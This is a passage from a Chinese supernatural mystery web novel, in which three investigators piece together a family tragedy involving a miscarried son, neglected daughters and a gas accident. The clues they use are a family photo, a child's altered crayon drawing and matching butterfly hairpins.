三个女孩围坐在桌旁,对这顿寡淡乏味的早饭更显兴致缺缺。 她们蔫蔫地戳着碗里的黄粥,小脸上没什么表情,眼神空洞。 大妮和二妞互相递了个眼色。 趁着老太婆埋头呼噜呼噜喝粥的间隙,她们极快地将头埋向碗边,似乎是喝了一口,但仔细看去,更像是往里面吐了点什么。 年纪最小的三娣见状,也笨拙地模仿着姐姐们的动作,往自己的碗里做了些手脚。 当她们放下勺子时,各自碗里都还剩下大半浑浊的粥。 “吃啊!怎么不吃了?!” 老太婆猛地放下粗瓷大碗,碗底磕在桌面上发出沉闷的响声。 她看到三个孙女几乎没动的粥碗,那张布满褶皱的老脸立刻垮了下来,浑浊的眼珠里透出浓浓的不满。 “一个个就知道挑食,惯得你们!粮食都让你们这些赔钱货糟蹋了,不吃就饿死你们!” 三个女孩被骂得缩了缩脖子,却依旧没再动勺子,只是低着头,不吭声。 老太婆又骂骂咧咧了几句难听的话,大约是想到了后续每天两百块入账的“大生意”,脸上那股戾气才稍稍缓和,心情似乎好了些,没再过多纠缠。 她用袖口随意抹了抹油腻的嘴,心满意足地站起身,腹中传来满足的饱嗝声。 “我吃饱了,回屋躺会儿。” 说完,便背着手,慢悠悠地走回了自己的房间。 男人也放下碗筷,对着肖靳言和宿珩露出一个略显局促和讨好的笑容,然后招呼三个女儿:“不吃就回屋写作业去,别在这儿碍事。” 三个女孩闻言,立刻放下手中的勺子,一声不吭地跟着男人,走进了她们那间狭小拥挤的卧室。 转眼间,客厅里又只剩下宿珩、肖靳言和还惊魂未定的张春和。 就在这时,一直沉默的宿珩忽然站起身。 “我也去一下厕所。”他语气平淡地说道。 刚进屋没多久的老太婆听到动静,立刻从门缝里探出半个脑袋,一双精明的眼睛骨碌碌转动。 看到是宿珩,想到那每天两百块的持续“进项”,她脸上的皱纹立刻堆叠出热情的笑意。 “去吧去吧,小伙子随便用,就当自己家一样,别客气!” 宿珩并未理会她那前后反差极大的态度,径直迈步走向厕所。 狭小的空间依旧弥漫着潮湿和霉味。 宿珩反手带上门,并没有立刻做什么,只是静静站立。 他那异于常人的体质,几乎在踏入这个逼仄空间的瞬间,就清晰地捕捉到了一种如影随形的窥伺感。 那感觉阴冷粘稠,如同某种滑腻的爬虫,无声无息地附着在后颈的皮肤上。 源头,就在门外。 宿珩面无表情,伸手按下了抽水马桶的冲水按钮。 哗啦啦的水声响起,掩盖了其他细微的动静。 他假装整理了一下衣服,然后毫无预兆地,一把将厕所门猛地拉开! 门板撞在墙上,发出“砰”的一声轻响。 门外,一个浑身脏污的小男孩正像一条骨瘦如柴的壁虎般,紧紧贴在门板上。 他似乎完全没料到门会突然打开,那双黑得不见底的眼睛里,闪过一丝如同受惊幼兽般的短暂茫然。 仅仅一瞬。 那茫然便被极度的恐惧取代。 小男孩甚至来不及发出任何声音,身体像被烫到一样猛地弹开,转身就跌跌撞撞地,一头扎进了旁边王秀珍那间虚掩着门的卧室! 宿珩的目光冷冽,没有丝毫犹豫,几乎是立刻迈步跟了上去。 他动作极轻,脚步落地无声,像一道影子般滑进了那间昏暗的卧室。 卧室内光线晦暗。 窗户被厚重的窗帘遮挡得严严实实,空气中弥漫着一股混杂着灰尘和淡淡药味的陈腐气味。 房间不大,陈设极其简陋。 一张老旧木板床占据了大半空间,床头放着一个掉漆的铁皮柜子,墙角则歪歪扭扭地立着一个门板都关不严实的破旧衣柜,几件颜色灰暗的衣服从缝隙里耷拉出来。 窗帘下摆微微晃动了一下。 小男孩显然是躲在了那里,身体因为恐惧而微微发抖,甚至能听到他压抑着的细微抽气声。 宿珩朝着窗帘的方向走去,脚步不疾不徐。 然而,就在他即将靠近窗帘时,眼角的余光却被墙壁上某个东西吸引,脚步猛地顿住。 那是一张挂在墙上的全家福照片。 照片已经有些年头,边缘微微泛黄,但画面依旧清晰。 照片的背景似乎是在某个简陋的照相馆里,一家五口人。 坐在中间的,是王秀珍和那个懦弱的男人。 照片里的王秀珍,和现在那个头发蓬乱、面色蜡黄、形销骨立的女人判若两人。 她穿着一件碎花的衬衫,头发整齐地拢在脑后,脸上带着柔和的、甚至可以说是幸福的微笑。 她的身形也远比现在丰腴,透着一股健康的光泽。 她和男人并肩坐着,两人的一只手,带着无限珍视地,轻轻覆盖在她微微隆起的小腹上。 那姿态,分明是怀着身孕。 三个女儿——大妮、二妞、三娣,穿着崭新的碎花连衣裙,站在父母身前。 她们的个子比现在要矮小一些,脸上却丝毫没有孩童应有的天真烂漫。 她们没有笑,甚至连一丝喜悦的表情都没有,只是面无表情地看着镜头,眼神里带着一种与年龄不符,隐隐的抗拒和不高兴。 仿佛被迫参与了这场象征着“圆满”的合影。 宿珩的目光盯着照片里王秀珍隆起的小腹,以及她脸上那种带着期盼和满足的温柔笑意。 一个念头,如同划破浓雾的闪电,骤然劈入脑海! 之前的种种疑点和矛盾,似乎在这一刻找到了一个可能的连接点。 宿珩的呼吸微不可察地顿了一下。 他缓缓收回投向照片的视线,不再去看那瑟瑟发抖的窗帘,也没有再试图去寻找那个躲藏起来的小男孩。 他默默地转过身,悄无声息地退出了这间弥漫着诡异气息的卧室,并轻轻带上了房门。 刚一转身,就看到肖靳言正靠在旁边的墙壁上,姿态随意,仿佛只是恰好路过,又像是专门在等他。 他一只手抄在裤兜里,另一只手把玩着一个从桌上顺手拿来,没吃完的焦黑饼块。 看到宿珩出来,肖靳言目光在他脸上一扫而过,随即落在他身后的卧室门上。 “发现什么了?” 肖靳言的声音压得很低,带着一丝不易察觉的探询。 宿珩抬眼看向他,眼神里还残留着一丝未散的思绪。 “回去说。” 30-40 第31章 第 31 章 一家几口12 宿珩和肖靳言一前一后回到603。 狭小的空间里, 空气似乎都比外面沉重几分。 肖靳言随手将门带上,隔绝了外面隐约传来的,602厨房里锅碗瓢盆碰撞的细碎声响。 他把那块已经凉透发硬的焦饼随手丢在床板角落, 转身看向宿珩。 肖靳言没多废话,直接切入主题,“怎么说?” 宿珩走到床边, 没有立刻坐下,目光落在对面斑驳的墙壁上,像是在整理思绪。 “一张全家福。” 他声音不高, 带着一丝沉吟。 “王秀珍, 那个男人, 还有三个女儿都在,背景像是个老式照相馆。” “重点是……” 宿珩顿了顿, 侧过头,视线对上肖靳言探询的目光,“照片里的王秀珍……怀孕了。” 肖靳言眉梢微不可察地动了一下,这个发现并不算完全出乎意料, 更像印证了某种模糊的猜测。 “很明显?” “嗯, 她和那个男人, 手都放在隆起的小腹上, 脸上是那种……很满足的笑。” 宿珩回忆着照片的细节,眉头却并未舒展。 他尽可能描述得更清楚一些, “但是三姐妹的脸上一点笑容都没有,似乎对即将出生的弟弟, 有种说不出的抗拒。” 肖靳言摸了摸下巴,若有所思,“一个得偿所愿的母亲, 三个不情不愿的姐姐吗?” 宿珩语气微顿,“但至少证明,王秀珍确实有过第四胎,而且看那照片的样子,她本人对这个孩子是充满期待的。” 这与老太婆口中“生不出儿子”的咒骂形成了鲜明对比,也让这个家庭的悲剧添上更复杂的一笔。 话音未落,603的门被推开,张春和一脸菜色地挪了进来,看到屋里的两人,才像是找回一点魂。 “你们……怎么不等我就走了?” “抱歉,情况紧急。” 肖靳言言简意赅地回了句,目光转向他,“张春和,你那个梦,再仔细说说,每个细节。” “啊?” 张春和愣了一下,随即反应过来,脸上又浮现出后怕的神色,他搓了搓胳膊,努力回忆着那令人窒息的感受。 “那地方……特别小,特别黑,像个盒子,什么都看不见……” “我拼命想出去,但四面八方都是硬邦邦的,推不开……” “然后……我就摸到了一只手……冰凉冰凉的,小小的,抓着我不放……” 他绘声绘色说完,紧张地看着宿珩和肖靳言,等待着他们的判断。 宿珩的目光和肖靳言在半空中短暂交汇。 无需更多言语,一个近乎相同的,令人不寒而栗的猜测,已然浮现在两人心底。 狭小、黑暗、拥挤、憋闷的“盒子”…… 里面还困着一个冰冷弱小的,抓着人不放的小东西…… “子宫。” 宿珩轻轻吐出这两个字,声音不大,却像一块石头投入死水,激起层层涟漪。 张春和猛地瞪大了眼睛,像是听到了什么天方夜谭,倒吸了口凉气,一脸的难以置信。 “子……子宫?!你的意思是……我梦里待的地方是……” 张春和挠了挠头,“但那地方……不都是温暖的吗?” 宿珩看了他一眼,语气慢慢变得凝重,“如果它已经‘死’了,丧失所有活力了呢?” 张春和脸色一白,瞬间不说话了。 肖靳言低低啧了声,接过话头,难得耐着性子解释:“那个‘黑盒子’,象征着王秀珍已经死去的‘子宫’。” “抓着你不放的冰冷弱小的东西……就是她没能出生的孩子。” “而你的梦……是对你,也是对我们的一种暗示。” “你听到的那些混乱的外界声音,或许就是当时外界真实发生的事情——” “老太婆的咒骂,男人的懦弱,甚至……姐姐们对这个即将到来的弟弟,可能存在的某种不满或议论。” 这个推论如同一道惊雷,劈开了张春和混沌的思绪,将他之前所有的恐惧和猜测都引向了一个更悲哀、更诡异的方向。 他呆呆地站在那里,感觉自己的世界观受到了巨大的冲击。 梦里的禁锢感、窒息感,还有那只冰冷小手的触感…… 如果那象征的是子宫和未出生的胎儿…… “那……那手印……” 张春和颤抖着抬起自己的右手腕,那圈小小的乌青指印此刻看起来格外刺眼。 “难道……难道真是那个没出生的……” “是‘心门’力量的具象化。” 肖靳言打断了他的猜测,语气平静却不容置疑。 “你的梦境,或者说你的意识,无意中触及到了这个‘心门’最核心的创伤之一,所以才会留下这种近乎实体的印记。” “它既是在提醒我们这个关键信息,某种程度上,也是在用这种方式加深恐惧,误导我们。” 宿珩想起了自己那个同样指向过去的梦境,梦中王秀珍捂着脸,在老太婆的咒骂声中痛苦哭诉的话语—— [我明明……明明已经很小心了……我真的……] 现在看来,那根本不是在为后来可能发生的煤气事件辩解,更像是在为失去那个腹中的孩子而辩解,充满了无力和绝望。 她在哭诉,她已经很小心地保护这个来之不易的孩子了,但最终还是没能保住。 “流产。” 宿珩清晰地说出这个词。 “结合那张全家福,王秀珍当时是怀着孕的,而且很可能,她知道自己怀的是个男孩。” 这就能解释,为什么在孩子流产后,老太婆会变本加厉地用“生不出儿子”这种话来戳她的心窝子—— 因为这家人曾经有过希望,最终却化为泡影,这种失望和怨恨只会更深。 “所以王秀珍……是因为流产了那个盼望已久的儿子,遭受了巨大的打击,才如此绝望。” 宿珩按着眉心,给出了判断,声音里带着一丝不易察觉的疲惫。 他看着肖靳言,说:“基本可以确定,这扇‘心门’的主人,就是王秀珍。她绝望的根源,至少有一半,来自这个未能出生的儿子。” 肖靳言摸着下巴,脑中飞快将之前的线索全都串联起来。 这也就解释了那个小男孩的存在。 他不是什么外来的孤魂野鬼,也不是什么恶鬼。 他是王秀珍在极度的渴望、失望和痛苦中,自己臆想出来的,一个存在于她精神世界里的‘儿子’,一个她失去的孩子的替代品。 所以老太婆和男人才看不到他,或者说完全无视他。 因为在他们的现实里,这个儿子根本没能出生,只是一个短暂的希望,然后就没了。 而王秀珍自己,可能也处于一种半清醒半混沌的矛盾状态。 她时而沉浸在拥有儿子的臆想中,时而又被残酷的现实拉扯。 她表面上‘看不见’这个男孩,行为举止也像忽略他一样,但潜意识里又知道他的存在,所以才会默许女儿们留下剩饭……那是留给她那个只存在于想象中的‘儿子’的。 所有的线索,至此似乎都开始指向同一个悲剧的核心。 张春和目瞪口呆听着两人的分析,脊背发凉,感觉脑子像一团浆糊,有点转不过来。 他忍不住咽了口唾沫,追问道:“那……三个女儿呢?她们又是怎么回事?” “她们好像能看见那个小男孩,还总是欺负他……这又怎么解释?如果小男孩只是王秀珍臆想出来的……” 这也是宿珩一直在思考的疑点,是目前逻辑链上最不协调的一环。 如果小男孩只是王秀珍的臆想,三个女儿为什么能看到,并且还表现出那么深的恶意? 除非…… 除非这个臆想中的‘弟弟’,或者说,母亲因为这个‘弟弟’而产生的精神状态,和她们后来的遭遇,有着直接或间接的联系。 宿珩想起了三个女孩在饭桌上表演窒息的那一幕,想起了王秀珍当时崩溃喊出的“不是我”,想起了602房间里那股始终若有似无的煤气味。 一个更深层次,也更残酷的可能性,逐渐浮出水面。 “有没有可能……” 宿珩看向肖靳言,声音压得更低,带着一种连他自己都觉得沉重的推测。 “王秀珍在流产之后,遭受了巨大的精神打击,变得恍惚、抑郁,甚至神志不清。” “在这种极度不稳定的状态下……” “她某次做饭或者烧水的时候,心不在焉,忘了关煤气……” 听完这个推测,张春和倒吸一口凉气,只觉得一股寒意从脚底瞬间窜遍全身,连汗毛都竖了起来。 “这这这……也太悲惨了吧?” 肖靳言的眼神也沉了下去,他几乎立刻明白了宿珩未竟的话语。 王秀珍的绝望,不仅仅是因为失去了那个期盼已久的儿子。 更因为她可能在精神崩溃的状态下,无意中……或者说失手,伤害了自己的女儿。 这种双重的打击,失去儿子的痛苦,和对女儿们深深的愧疚—— 最终彻底压垮了她,缔造了这扇充满了扭曲、痛苦和绝望的‘心门’。 王秀珍,作为这扇心门的主人。 核心创伤是流产的儿子,以及由此引发的,对三个女儿造成的意外伤害。 那个臆想中的小男孩,是她未能实现的渴望和痛苦的化身。 三个女儿对“弟弟”的怨恨和欺凌,或许不仅仅是因为嫉妒。 更可能掺杂了对母亲因为流产而精神失常,最终导致她们受害的某种……迁怒和报复? 或者—— 那是王秀珍潜意识里一直担惊受怕的矛盾之处。 结合第一天宿珩和张春和两人截然不同的梦。 王秀珍很可能—— 一方面害怕弟弟的出生不被三个女儿所喜,会被三个姐姐联手欺负。 另一方面又害怕作为独苗的弟弟被惯坏,欺负三个姐姐。 王秀珍很爱自己的儿子,但也不是不爱自己的女儿。 …… 只是,还有一个问题。 “那三个女儿……” 张春和咽了口唾沫,小心翼翼地问:“她们……现在到底是什么状态?是……死了变成了鬼,还是……” 宿珩望向肖靳言。 肖靳言摸着下巴,沉吟了半晌。 根据以往的副本经验,“心门”往往源于某种强烈的执念或未解的痛苦。 如果王秀珍的愧疚和绝望,另一半源于三个女儿。 那么……女儿们现如今的状态,或许正是破局的关键。 …… 这时,隔壁602的房门“吱呀”一声被拉开。 一阵脚步声响起,先是男人略显沉闷的步伐,紧接着是三个小女孩特有的,略显轻快的噔噔噔下楼声。 那脚步声透着一股不太自然的雀跃,像是故意踩出来的开心,很快消失在楼梯拐角。 她们出去了。 宿珩心头微动,这是一个难得的机会。 他看向肖靳言,“去她们房间看看。” 肖靳言立刻明白了他的意思,这确实是探查那三个女孩虚实的好时机。 三人再次来到602门口。 宿珩抬手,轻轻叩响了房门。 门后安静了几秒,才传来一阵拖沓的脚步声。 门被拉开,露出王秀珍那张依旧麻木空洞的脸。 然而,当她的视线落在宿珩身上时,那双如同死水的眸子,似乎极轻微地波动了一下。 或许是昨天那句“你也坐下吃吧”,又或者是那块及时敷在烫伤处的冰块,在这片无边绝望的麻木中,凿开了一丝微不可见的缝隙。 她没有说话,嘴唇动了动,最终还是归于沉默,只是默默地侧过身,让开了门口的位置。 王秀珍没有看他们,自顾自地走到墙角,开始弯腰收拾堆在那里的,一家人换下来的脏衣服。 那堆衣物散发着汗味和油腻的混合气味,她抱起沉甸甸的一堆,脚步滞重地走向阳台。 哗啦啦的水声很快从阳台方向传来,带着搓洗衣物的单调节奏。 肖靳言抓住这个空档,迅速对旁边的张春和低声吩咐:“你在这里守着,听着点老太婆房间的动静,有情况就咳嗽一声。” 张春和紧张地点点头,咽了口唾沫,紧紧贴着门框站好,耳朵竖得老高。 肖靳言给了宿珩一个眼神,两人不再耽搁,立刻转身,脚步放轻,快步走向走廊尽头。 三个女孩的卧室门是锁着的。 宿珩下意识地看向肖靳言,生怕这家伙会像在筒子楼一样,一脚踹开门板。 然而,肖靳言这次并没有抬脚的意思。 他神态自若地伸手进口袋里摸索了一下,掏出一根手指长短,细得像绣花针的铁丝。 宿珩看着那根细小的铁丝,眉梢几不可察地挑动了一下。 这家伙总会总藏着些意想不到的“惊喜”。 肖靳言没说话,将铁丝的前端轻轻插进锁孔。 指尖灵活地捻动了几下,动作熟练得不像话,只听“咔哒”一声微不可闻的轻响,细微得几乎要被阳台的水声盖过。 锁开了。 整个过程行云流水,快得让宿珩有些意外。 肖靳言推开门,侧身让宿珩先进,自己则紧随其后,顺手将门虚掩,只留一条不易察觉的缝隙。 女孩们的卧室比想象中还要狭小拥挤。 一进门就是两张面对面贴墙摆放的粉色上下铺铁架床,床架的粉色漆皮已经斑驳脱落,露出底下大片暗沉的铁锈。 粉色,本该是属于小女孩的梦幻和童真的颜色,但在这昏暗压抑的环境下,却透着一股说不出的陈旧和怪异。 靠窗的位置摆放着一条长长的木桌,桌面被刀刻笔划得伤痕累累,显然是三个女孩共享的书桌。 桌上凌乱地堆放着一些作业本、课本和几支啃秃了头的铅笔。 宿珩没去管床铺,径直走到书桌前。 他目光快速扫过桌面,随手翻动着那些摊开的书本和练习册,指尖拂过粗糙的纸面。 他的动作很快,在一摞练习册底下,指尖勾出了一张边角有些卷曲,明显发黄的画纸。 画是用蜡笔画的,线条稚嫩而扭曲,颜色也因为年头久远而严重褪色发暗,画面显得有些模糊不清,蒙着一层灰败的色调。 但仔细辨认,还是能勉强看出画上是几个用简单线条勾勒出的火柴人,歪歪扭扭地站在一起。 构图……似乎和王秀珍卧室里那张全家福有些相似。 肖靳言也凑了过来,他森*晚*整*理看着这副褪色的画,指尖在画纸右下角一个同样歪歪扭扭,用红色蜡笔写下的数字上轻轻一点。 那是一个模糊的“3”。 “或许是三娣画的。” 肖靳言的声音压得很低。 宿珩没有作声,专注地看着画里的内容。 那几个抽象的火柴人排列方式确实和那张全家福如出一辙—— 中间两个稍大的火柴人,代表父母;身前站着三个更小的火柴人,代表女儿们。 但不同的是,画纸上代表母亲的那个大火柴人,肚子部位被仔细地涂上了一团蓝色。 站在前面的三个小火柴人,周围被许多杂乱的,黑灰相间的线条包围着,如同浓烟。 当看清三个小火柴人的脸时,宿珩的心脏猛地一沉。 这张画…… 就在这时,门口传来张春和压低了嗓子,带着极度紧张的呼喊:“咳咳!老太婆好像起来了!我听到她房间有动静了!” 宿珩动作极快,脸上看不出丝毫慌乱。 他直接将那张画纸对折几下,小心地塞进了自己的衣袋里。 两人迅速退出女孩的卧室。 肖靳言反手将门轻轻带上,恢复原状。 他们快步往客厅门口走去。 路过阳台时,正在搓洗衣物的王秀珍似乎听到了动静,下意识地抬起头。 她的视线越过肖靳言,定格在宿珩的衣袋上,停留了两秒。 那双麻木的眼睛里,似乎闪过一丝极其复杂难辨的情绪,快得让人无法捕捉。 但她最终什么也没说,只是缓缓低下头,继续机械地搓洗着手中的衣物,仿佛刚才那短暂的注视从未发生过。 第32章 第 32 章 一家几口13 宿珩的脚步没有停顿, 径直走出了602。 王秀珍的目光在他衣袋处停留的那一瞬,他感觉到了。 那视线复杂得难以言喻,像是一团揉杂了惊慌、悲戚、认命的乱麻, 最终却只剩下沉沉的死灰。 她知道他拿走了什么,但她没有阻止,也没有询问。 仿佛默认了这一切的发生, 如同她默许女儿们留下残羹冷炙,如同她对这个家中无处不在的扭曲与怪诞,早已麻木到视若无睹。 肖靳言和张春和紧随其后, 迅速退回了603房间。 肖靳言反手将门轻轻带上。 张春和靠在门板上, 惊魂未定地拍着胸口。 宿珩走到床边, 从衣袋里取出了那张折叠好的画纸。 他小心翼翼地将画纸展开,动作轻缓地铺在床板上。 张春和立刻凑了过来, 目光紧紧锁住那张泛黄的纸。 画纸的质地粗糙,蜡笔的色彩因年月久远而黯淡,线条稚嫩却透着一股执拗。 宿珩的指尖轻轻拂过那三个并排站立的小火柴人脸部。 “这里。” 他指着其中一个小火柴人的脸。 肖靳言和张春和凑近细看。 借着昏暗的光线,可以勉强辨认出, 三个小火柴人的嘴角, 最初是用红色的蜡笔, 努力向上勾勒出简单的笑脸弧度。 但后来, 却又被人用黑色的蜡笔,在原本的红线上方, 重重地、带着某种泄愤般的情绪,画下了一道道向下弯曲的弧线。 原本的笑脸, 被强行涂改成了哭丧、不满甚至带着几分怨怼的表情。 这与之前在那张老旧全家福照片里,三个女孩面对镜头时,那种面无表情, 眼神深处甚至带着隐隐抗拒的神态,几乎是完美地重叠、印证了。 肖靳言沉默地看了片刻,指尖在那被刻意涂改的笑脸上,若有所思地轻轻点了点。 “这代表她们态度的转变。” 他缓缓开口,声音不高,却在安静的房间里显得格外清晰。 “最开始,她们或许也和其他人一样,对这个即将到来的新生命抱有期待,甚至是某种程度上的欢迎。” “只不过后来……” 肖靳言的目光掠过画纸上代表父母的那两个稍大的火柴人,尤其是在母亲腹部那团醒目的蓝色上停顿了一下。 “大概是因为父母,还有重男轻女的奶奶,把全部的关注和资源都倾注到了这个未出生的‘弟弟’身上,她们彻底被忽视了。” “小孩子的感觉有时候比大人更敏锐,也更直接。” “被冷落,被无视,甚至可能因为这个‘弟弟’的存在而平白遭受更多的指责和打骂……日积月累,那些最初的期待,就慢慢变成了委屈和不开心,最后滋生出怨恨。” “于是,她们就把画里代表自己的笑脸,亲手改成了哭脸。” 这个推论合情合理。 将照片与画纸上看似矛盾的细节巧妙地串联起来,揭示了这个家庭悲剧中,除了王秀珍那深不见底的痛苦外,还有女儿们在角落里无声滋长的,被忽视的委屈与怨恨。 “不过……” 肖靳言话锋忽然一转,嘴角勾起一丝若有若无的笑意,语气也变得轻松了几分,“这倒是个好苗头。” “好苗头?” 张春和正听得心惊肉跳,闻言立刻哭丧着脸反驳,“大哥!线索乱七八糟,又是流产又是煤气的,这眼看都快成死局了,哪里好了?” 肖靳言瞥了他一眼,不紧不慢地纠正道:“我才27。” 张春和:“……” 他现在是真没心情也没胆子计较称呼问题。 只觉得这两个人一个比一个心大,一个比一个冷静得不像话,衬得他自己像个在油锅边上乱蹦的蚂蚱。 宿珩却似乎捕捉到了肖靳言话语里的深意。 所谓的好苗头—— 指的并非是线索指向了好的结局,而是他们终于开始剥开层层伪装,触及到这扇“心门”内部那些更深层、也更混乱的情感纠葛。 只要能理清这些情感的脉络,找到它们的源头和症结,就一定能找到破局的关键。 宿珩的指尖无意识地探入衣袋深处,触碰到了一个冰凉坚硬的物体。 是那个粉色的蝴蝶发卡。 他将发卡取了出来,静静地放在自己的手心。 劣质的塑料在昏暗的光线下泛着廉价而俗气的光泽,蝴蝶翅膀的边缘甚至有些毛糙。 宿珩抬眼,目光平静地看向旁边的肖靳言。 “‘心门’形成的媒介,或者说,打开它的‘钥匙’,通常是什么性质的东西?” 肖靳言明白他想问什么,脸上露出一丝了然的笑意。 “基本上,是‘心门’主人在现实生活中最常用到,或者承载了她最强烈、最深刻执念与情感的东西。” 他稍作停顿,解释得更具体了些。 “比如筒子楼旁边的自动贩卖机,或许就是周云深夜下班回家,身心俱疲时唯一能买到一瓶冰水的地方,日积月累,就沾染了他最浓重的绝望气息,成为了‘钥匙’之一。” “而这个发卡……” 肖靳言的目光落在宿珩手中的粉色蝴蝶上,若有所指。 下一秒,他伸手进口袋,也掏出了一枚发卡。 形状、颜色、大小,甚至连那份廉价的塑料质感,都和宿珩手里的那个,一模一样。 肖靳言的视线转向了旁边还一脸懵懂的张春和。 张春和被他看得一愣,随即像是猛地想起了什么,连忙手忙脚乱地捡起被自己一直当做屁股垫的破旧公文包,在里面一阵翻找。 很快,他也从包里掏出了一枚发卡。 同样是粉色的,蝴蝶形状。 正是他当初在中心花坛里捡到的,将他卷入这个诡异世界的罪魁祸首。 三枚一模一样的粉色蝴蝶发卡,并排放在了那张充满涂改痕迹的画纸旁边。 廉价的塑料,幼稚的造型。 它们静静地躺在那里,却仿佛蕴含着某种沉重而悲伤的秘密。 宿珩看着这三枚发卡,目光又缓缓移回到画纸上,那三个被强行涂改成哭脸的小火柴人。 无数混乱的线索碎片,如同被一股无形的力量牵引着,开始在他脑海中飞速重组。 一个念头,如同拨开云雾的阳光,骤然照亮了他纷乱的思绪。 …… 临近中午时分,外面楼道里再次响起一阵脚步声。 那声音由远及近,在隔壁602门前停住,随后是钥匙插入锁孔,金属摩擦旋转的细微动静。 听这动静,应当是602那个男人带着三个女儿回来了。 几乎就在602门开的同一时间,肖靳言原本放松的姿态猛地一敛。 他倏然抬手,竖起食指抵在唇边,做出一个噤声的示意。 门外有人! 那人并未直接走进602,反而带着刻意放缓的节奏,动作极其轻微地朝着603房门靠近。 轻得几乎像猫,若不是肖靳言提醒,根本难以察觉。 张春和的心瞬间提到了嗓子眼,紧张地屏住呼吸,后背紧紧贴着墙,大气不敢喘。 那几乎不存在的脚步声,最终在603的门口彻底消失。 门外的人似乎在犹豫不决,又像是在屏息倾听房间内的动静。 肖靳言用口型无声地对离门最近的张春和示意。 “开门。” 张春和冷汗唰地一下就冒了出来。 他虽然不太情愿,但还是狠狠一咬牙,像是豁出去了一样,猛地伸手抓住门把手,用力向内一拉! “吱呀——” 房门被猛地拉开。 出乎意料,门口站着的竟然是那个不会说话的二妞。 女孩独自一人站在门外,穿着洗得发白,明显不合身的旧衣服,双手紧张地绞在一起,低着头,似乎不敢看屋里的人。 “你……” 张春和被她的到来弄得一愣,后面的话卡在了喉咙里。 二妞怯生生地伸出一只细瘦的手指,快速指了指隔壁602的方向,又指了指自己的肚子。 张春和看得一头雾水,“她……她这是什么意思?” “午饭时间到了。” 肖靳言却像是完全看懂了,语气平静地替二妞回答。 二妞听到这话,眼睛猛地亮了一下,如同受惊的小鹿般飞快地点了点头。 然后,她像是完成了什么重要的任务,转身就小跑着回了602,甚至还贴心地给他们留了一道门缝。 三人交换了一个眼神。 “走吧。”肖靳言率先抬步。 三人再次踏入602。 屋内的景象和气味,一如既往。 王秀珍如同一个失去了灵魂的提线木偶,依旧麻木地站在那方狭小的厨房里。 灶上的锅里炖煮着不知名的汤水,散发出和昨天中午几乎一模一样的,混杂着腥臊和油腻的古怪气味。 男人坐在桌边,低着头,视线落在桌面上斑驳的油渍上,不知道在想些什么。 三个女儿则围在客厅那张油腻的木桌旁,没有像往常一样写作业,而是带着一种少有的兴奋,小心翼翼地摆弄着几样崭新的东西—— 那是几个封面印着粗糙卡通图案的新作业本,还有几支笔杆光滑、崭新的木头铅笔。 她们脸上,罕见地浮现出一种久违的,属于孩子气的纯粹喜悦和新奇。 大妮用指腹轻轻抚摸着新本子光滑的封面,仿佛那是什么稀世珍宝。 二妞和三娣则拿起新铅笔,在废弃的草稿纸边缘,笨拙地写写画画,留下歪歪扭扭的笔迹,嘴角挂着满足的笑。 这幅短暂温馨的景象,与她们之前在那张画纸上,用黑色蜡笔愤懑涂改出的怨怼哭脸,形成了极其鲜明、甚至有些刺眼的对比。 肖靳言的目光在那些崭新的文具上不着痕迹地扫过,随即迈步走到桌边。 他随手拿起一本摊开的,明显是旧的数学作业本,翻了两页。 “这里……” 肖靳言伸出手指,点在其中一道歪歪扭扭的计算题上,“3乘以8等于25?还有这道,42除以7等于5?” 他口吻轻松,毫不留情地指出了好几处低级得可笑的计算错误。 正拿着新铅笔比划的大妮,脸颊瞬间涨红了。 她像是被人当众揭开了疮疤,又像是被踩到了尾巴的猫,猛地伸手,一把将那本旧作业本抢了回来,紧紧抱在怀里,眼神里充满了心虚。 “我……我只是昨天晚上太困了,才算错了!” 她强行辩解着,声音有些尖锐,随即扭头,略显慌乱地招呼两个妹妹。 “快把桌子收拾出来,要吃饭了!” 二妞和三娣立刻放下手里的新文具,手脚麻利地将桌面上散乱的旧本子和铅笔盒都收了起来,甚至还用袖口用力擦了擦桌面。 很快,王秀珍麻木地端着饭菜上桌。 一大盆依旧浑浊不堪的汤,一盘颜色黑乎乎的炒肉,一条蒸得惨白的鱼,还有两小碟蔫巴巴的青菜和土豆丝。 和昨天中午的菜色,几乎没有任何区别,连摆放的位置都如出一辙。 里屋传来脚步声,老太婆听到开饭的声音,慢悠悠走出来,毫不客气地在主位坐下。 男人也立刻拿起筷子。 三个女孩大概是因为得了新文具,心情好了不少,虽然对眼前的饭菜依旧没什么兴趣,但脸上的神情比之前要鲜活一些。 老太婆和男人率先动筷,呼噜呼噜的吃饭声很快响起,打破了短暂的平静。 宿珩安静地坐在桌边,目光却没有落在饭菜上。 他的视线,若有若无地瞟向客厅角落那扇厚重的灰色窗帘。 窗帘的下摆几不可察地动了一下。 果然。 那个小男孩,又像幽灵一样,无声无息地躲回了那里。 只是这一次,他似乎不像之前那样,把自己完全蜷缩在窗帘厚重的褶皱里。 他竟然透过窗帘与墙壁之间的缝隙,露出了一双黑漆漆的,如同两潭深不见底的幽井般的眼睛。 和之前相比,他的胆量似乎……大了一些。 宿珩的眼底深处,掠过一丝难以察觉的冷冽。 王秀珍依旧像个没有生命的木偶,低眉顺眼地站在厨房门口那片阴影里。 她固执地沉浸在自己的世界里,用麻木作为盔甲,拒绝面对,拒绝承认。 无论是那个未能出生的孩子,带给她的无边痛苦与绝望。 还是在那之后,可能发生的更加可怕,让她无法承受的悲剧。 既然她不愿面对。 那么—— 就强行让她面对。 宿珩握着筷子的手,指节微微收紧。 下一秒,就在老太婆和男人依旧埋头吃饭,三个女儿心不在焉地用筷子拨弄着碗里米饭的时候—— 宿珩在肖靳言微凛的目光中,慢悠悠站起身。 木质的椅子腿与 粗糙的水泥地面摩擦,发出不大不小的“刺啦”声响。 声音并不大,但饭桌旁所有人的动作,都在同一时刻顿住了。 老太婆停下咀嚼,男人抬起头,三个女儿也停止了拨弄米饭。 连张春和也一同齐刷刷地看向他。 宿珩却仿佛没有感受到这些注视。 他转身,没有看饭桌旁的任何一个人,径直朝着客厅角落那扇厚重的灰色窗帘走去。 脚步沉稳,没有丝毫犹豫。 窗帘后面,那双偷窥的眼睛瞬间充满了惊恐。 瘦小的身体开始剧烈地颤抖起来,甚至能听到细微的牙齿打颤声。 宿珩能清晰地感受到那份源自窗帘后的恐惧。 他走到窗帘旁,停下脚步。 整个客厅死一般的寂静。 所有人的目光都聚焦在他身上,以及他面前那扇纹丝不动的窗帘上。 王秀珍也下意识地抬起了头。 那双空洞麻木的眼睛里,似乎终于有了一丝极其细微的,名为“惊慌”的情绪在波动。 宿珩抬起手,指尖距离那粗糙厚重的布料只有几寸的距离。 